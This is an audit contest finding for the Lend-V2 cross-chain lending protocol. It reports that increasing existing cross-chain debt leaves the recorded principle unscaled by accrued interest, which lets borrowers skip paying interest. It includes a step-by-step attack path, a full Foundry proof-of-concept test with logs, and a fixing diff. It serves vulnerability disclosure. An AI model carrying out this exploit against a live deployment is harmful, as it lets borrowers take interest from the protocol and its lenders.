Ambitious Shamrock Moth

High

# Cross-chain borrower will be able to avoid interest payments reducing protocol earnings

### Summary

Incorrect tracking of cross-chain debt principle when increasing existing debt positions will cause insufficient interest to be earned for the protocol as borrowers will be able to increase their cross-chain debt without increasing the recorded `principle` of the loan on the source chain.

### Root Cause

When a user already has cross-chain debt for a given token and decides to increase their debt of that token, in the final stage of the workflow `CrossChainRouter::_handleValidBorrowRequest` is called on the source chain. The issue is on line 711: https://github.com/sherlock-audit/2025-05-lend-audit-contest/blob/main/Lend-V2/src/LayerZero/CrossChainRouter.sol#L711 The `principle` is not scaled up accordingly by the interest accrued, and therefore it may be significantly lower than the true value.

### Internal Pre-conditions

There are no specific internal pre-conditions required.

### External Pre-conditions

There are no specific external pre-conditions required.

### Attack Path

1. Attacker calls `CoreRouter::supply` on Chain A.
2. Attacker calls `CrossChainRouter::borrowCrossChain` on Chain A.
3. Attacker waits some time so their debt increases due to interest.
4. Attacker calls `CrossChainRouter::borrowCrossChain` on Chain A (but can use a dust quantity for the borrow amount as it is not significant).
5. Attacker calls `CrossChainRouter::repayCrossChainBorrow` on Chain B, repaying only the original debt but not any interest owed.
6. Attacker calls `CoreRouter::redeem` on Chain A, and are able to redeem their entire collateral balance despite owing interest on Chain B.

### Impact

The protocol loses 100% of the possible interest it intended to earn on the attacker's loan. The attacker gets an interest-free loan.

### PoC

Add a new test file under the test folder with the below contents and run using `forge test --match-contract HGranoTest --match-test test_multiple_borrows_issue -vvv`.

```solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.23;

import {Test, console2} from "forge-std/Test.sol";
import {Deploy} from "../script/Deploy.s.sol";
import {HelperConfig} from "../script/HelperConfig.s.sol";
import {CrossChainRouterMock} from "./mocks/CrossChainRouterMock.sol";
import {CoreRouter} from "../src/LayerZero/CoreRouter.sol";
import {LendStorage} from "../src/LayerZero/LendStorage.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {ERC20Mock} from "@openzeppelin/contracts/mocks/ERC20Mock.sol";
import {Lendtroller} from "../src/Lendtroller.sol";
import {InterestRateModel} from "../src/InterestRateModel.sol";
import {SimplePriceOracle} from "../src/SimplePriceOracle.sol";
import {LTokenInterface} from "../src/LTokenInterfaces.sol";
import {LToken} from "../src/LToken.sol";
import "@layerzerolabs/lz-evm-oapp-v2/test/TestHelper.sol";
import {SendLibMock} from "@layerzerolabs/lz-evm-messagelib-v2/test/mocks/SendLibMock.sol";
import "@layerzerolabs/lz-evm-protocol-v2/test/utils/LayerZeroTest.sol";

contract HGranoTest is LayerZeroTest {
    HelperConfig public helperConfig;
    address public layerZeroEndpoint;
    address[] public supportedTokensA;
    address[] public supportedTokensB;
    address[] public supportedTokensC;
    bool public isTestnet;
    address public deployer;

    // Chain A (Source)
    CrossChainRouterMock public routerA;
    LendStorage public lendStorageA;
    CoreRouter public coreRouterA;
    Lendtroller public lendtrollerA;
    InterestRateModel public interestRateModelA;
    SimplePriceOracle public priceOracleA;
    address[] public lTokensA;

    // Chain B (Destination)
    CrossChainRouterMock public routerB;
    LendStorage public lendStorageB;
    CoreRouter public coreRouterB;
    Lendtroller public lendtrollerB;
    InterestRateModel public interestRateModelB;
    SimplePriceOracle public priceOracleB;
    address[] public lTokensB;

    // I had to change these values to fix test failures as the mocks used chain ID as the Endpoint ID
    uint32 constant CHAIN_A_ID = 31337;
    uint32 constant CHAIN_B_ID = 31337;

    EndpointV2 public endpointA;
    EndpointV2 public endpointB;
    SimpleMessageLib public simpleMsgLibA;
    SimpleMessageLib public simpleMsgLibB;

    // Events to test
    event BorrowSuccess(address indexed borrower, address indexed lToken, uint256 accountBorrow);

    function setUp() public override(LayerZeroTest) {
        super.setUp();

        deployer = makeAddr("deployer");
        vm.deal(deployer, 1000 ether);

        // Deploy protocol on Chain A using the endpoint we just created
        Deploy deployA = new Deploy();
        (
            address priceOracleAddressA,
            address lendtrollerAddressA,
            address interestRateModelAddressA,
            address[] memory lTokenAddressesA,
            address payable routerAddressA,
            address payable coreRouterAddressA,
            address lendStorageAddressA,
            , //address _layerZeroEndpoint
            address[] memory _supportedTokensA
        ) = deployA.run(address(endpointA)); // Pass the endpoint address to Deploy.run

        // Store Chain A values
        routerA = CrossChainRouterMock(payable(routerAddressA));
        lendStorageA = LendStorage(lendStorageAddressA);
        coreRouterA = CoreRouter(coreRouterAddressA);
        lendtrollerA = Lendtroller(lendtrollerAddressA);
        interestRateModelA = InterestRateModel(interestRateModelAddressA);
        priceOracleA = SimplePriceOracle(priceOracleAddressA);
        lTokensA = lTokenAddressesA;
        supportedTokensA = _supportedTokensA;

        // Deploy protocol on Chain B
        Deploy deployB = new Deploy();
        (
            address priceOracleAddressB,
            address lendtrollerAddressB,
            address interestRateModelAddressB,
            address[] memory lTokenAddressesB,
            address payable routerAddressB,
            address payable coreRouterAddressB,
            address lendStorageAddressB,
            , // address _layerZeroEndpoint
            address[] memory _supportedTokensB
        ) = deployB.run(address(endpointB));

        // Store Chain B values
        routerB = CrossChainRouterMock(payable(routerAddressB));
        lendStorageB = LendStorage(lendStorageAddressB);
        coreRouterB = CoreRouter(coreRouterAddressB);
        lendtrollerB = Lendtroller(lendtrollerAddressB);
        interestRateModelB = InterestRateModel(interestRateModelAddressB);
        priceOracleB = SimplePriceOracle(priceOracleAddressB);
        lTokensB = lTokenAddressesB;
        supportedTokensB = _supportedTokensB;

        // Now set up cross-chain mappings as the owner
        vm.startPrank(routerA.owner());
        for (uint256 i = 0; i < supportedTokensA.length; i++) {
            lendStorageA.addUnderlyingToDestUnderlying(supportedTokensA[i], supportedTokensB[i], CHAIN_B_ID);
            // Add mapping from underlying token to destination lToken
            lendStorageA.addUnderlyingToDestlToken(supportedTokensA[i], lTokensB[i], CHAIN_B_ID);
        }
        vm.stopPrank();

        vm.startPrank(routerB.owner());
        for (uint256 i = 0; i < supportedTokensB.length; i++) {
            lendStorageB.addUnderlyingToDestUnderlying(supportedTokensB[i], supportedTokensA[i], CHAIN_A_ID);
            // Add mapping from underlying token to destination lToken
            lendStorageB.addUnderlyingToDestlToken(supportedTokensB[i], lTokensA[i], CHAIN_A_ID);
        }
        vm.stopPrank();

        // Set up initial prices for supported tokens on both chains

        for (uint256 i = 0; i < supportedTokensA.length; i++) {
            priceOracleA.setDirectPrice(supportedTokensA[i], 1e18);
        }

        for (uint256 i = 0; i < supportedTokensB.length; i++) {
            priceOracleB.setDirectPrice(supportedTokensB[i], 1e18);
        }

        vm.label(address(routerA), "Router A");
        vm.label(address(routerB), "Router B");
        // After deploying routers, set up their pair contracts
        routerA = CrossChainRouterMock(payable(routerAddressA));
        routerB = CrossChainRouterMock(payable(routerAddressB));

        // Set up pair relationships
        routerA.setPairContract(payable(address(routerB)));
        routerB.setPairContract(payable(address(routerA)));
    }

    // Helper function to supply tokens before testing borrowing
    function _supplyA(uint256 amount) internal returns (address token, address lToken) {
        // Deal ether for LayerZero fees
        vm.deal(address(routerA), 1 ether);

        token = supportedTokensA[0];
        lToken = lendStorageA.underlyingTolToken(token);

        vm.startPrank(deployer);
        ERC20Mock(token).mint(deployer, amount);
        IERC20(token).approve(address(coreRouterA), amount);
        coreRouterA.supply(amount, token);
        vm.stopPrank();
    }

    function _supplyB(uint256 amount) internal returns (address token, address lToken) {
        // Deal ether for LayerZero fees
        vm.deal(address(routerB), 1 ether);

        token = supportedTokensB[0];
        lToken = lendStorageB.underlyingTolToken(token);

        vm.startPrank(deployer);
        ERC20Mock(token).mint(deployer, amount);
        IERC20(token).approve(address(coreRouterB), amount);
        coreRouterB.supply(amount, token);
        vm.stopPrank();
    }

    function test_multiple_borrows_issue() public {
        uint256 amountToSupply = 100_000e18;

        vm.deal(address(routerA), 1 ether);

        (address tokenA, address lTokenA) = _supplyA(amountToSupply);
        // Then supply tokens as borrowable on Chain B
        // @note - Has to be enough tokens to cover the borrow on the destination chain...
        (address tokenB, address lTokenB) = _supplyB(amountToSupply * 2);

        // Calculate maximum allowed borrow (using actual collateral factor) --> scale down for precision loss
        uint256 borrowedAmount = (lendStorageA.getMaxBorrowAmount(deployer, lTokenA) * 0.9e18) / 1e18;

        emit log_named_decimal_uint("borrowedAmount", borrowedAmount, 18);

        vm.startPrank(deployer);

        // Execute borrow
        routerA.borrowCrossChain(borrowedAmount, tokenA, CHAIN_B_ID);

        (uint256 borrowed, uint256 collateral) = lendStorageB.getHypotheticalAccountLiquidityCollateral(deployer, LToken(address(0)), 0, 0);
        emit log_named_decimal_uint("Borrowed initial on chain B", borrowed, 18);
        emit log_named_decimal_uint("Collateral initial on chain B", collateral, 18);

        // Advance some blocks to accrue interest
        vm.warp(block.timestamp + 10_000);
        vm.roll(block.number + 10_000);

        // borrowCrossChain again so we change the stored borrowIndex for this loan to the latest value
        routerA.borrowCrossChain(1, tokenA, CHAIN_B_ID);

        address[] memory borrowedAssets = lendStorageA.getUserBorrowedAssets(deployer);
        emit log_named_uint("Borrowed assets length initial on chain A", borrowedAssets.length);
        (borrowed, collateral) = lendStorageB.getHypotheticalAccountLiquidityCollateral(deployer, LToken(address(0)), 0, 0);
        emit log_named_decimal_uint("Borrowed after time has passed on chain B", borrowed, 18);
        emit log_named_decimal_uint("Collateral after time has passed on chain B", collateral, 18);

        // Repay but without including interest owed
        IERC20(tokenB).approve(address(coreRouterB), type(uint256).max);
        routerB.repayCrossChainBorrow(deployer, borrowedAmount + 1, lTokenB, CHAIN_A_ID);

        // We can observe that the borrowed assets on chain A has been cleared
        borrowedAssets = lendStorageA.getUserBorrowedAssets(deployer);
        emit log_named_uint("Borrowed assets length final on chain A", borrowedAssets.length);

        // Now the user can redeem 100% of their collateral
        coreRouterA.redeem(lendStorageA.totalInvestment(deployer, lTokenA), payable(lTokenA));
        emit log_named_decimal_uint("TokenA final balance", IERC20(tokenA).balanceOf(deployer), 18);

        (borrowed, collateral) = lendStorageB.getHypotheticalAccountLiquidityCollateral(deployer, LToken(address(0)), 0, 0);
        emit log_named_decimal_uint("Borrowed final on chain B", borrowed, 18);
        emit log_named_decimal_uint("Collateral final on chain B", collateral, 18);
    }
}

```

The test logs below show that attacker's debt is fully cleared on chain A despite not paying any interest.

```log
  borrowedAmount: 67500.000000000000000000
  Borrowed initial on chain B: 67500.000000000000000000
  Collateral initial on chain B: 150000.000000000000000000
  Borrowed assets length initial on chain A: 1
  Borrowed after time has passed on chain B: 67537.524079622250000001
  Collateral after time has passed on chain B: 150028.143059716687500000
  Borrowed assets length final on chain A: 0
  TokenA final balance: 100000.000000000000000000
  Borrowed final on chain B: 75.048159244500000000
  Collateral final on chain B: 150028.143059716687500000
```

### Mitigation

You should scale the `principle` on CrossChainRouter.sol line 711 as shown:

```diff
--- a/Lend-V2/src/LayerZero/CrossChainRouter.sol
+++ b/Lend-V2/src/LayerZero/CrossChainRouter.sol
@@ -708,7 +708,8 @@ contract CrossChainRouter is OApp, ExponentialNoError {
         if (found) {
             // Update existing borrow
             LendStorage.Borrow[] memory userBorrows = lendStorage.getCrossChainBorrows(payload.sender, payload.srcToken);
-            userBorrows[index].principle = userBorrows[index].principle + payload.amount;
+            userBorrows[index].principle =
+                (userBorrows[index].principle * payload.borrowIndex) / userBorrows[index].borrowIndex + payload.amount;
             userBorrows[index].borrowIndex = payload.borrowIndex;
```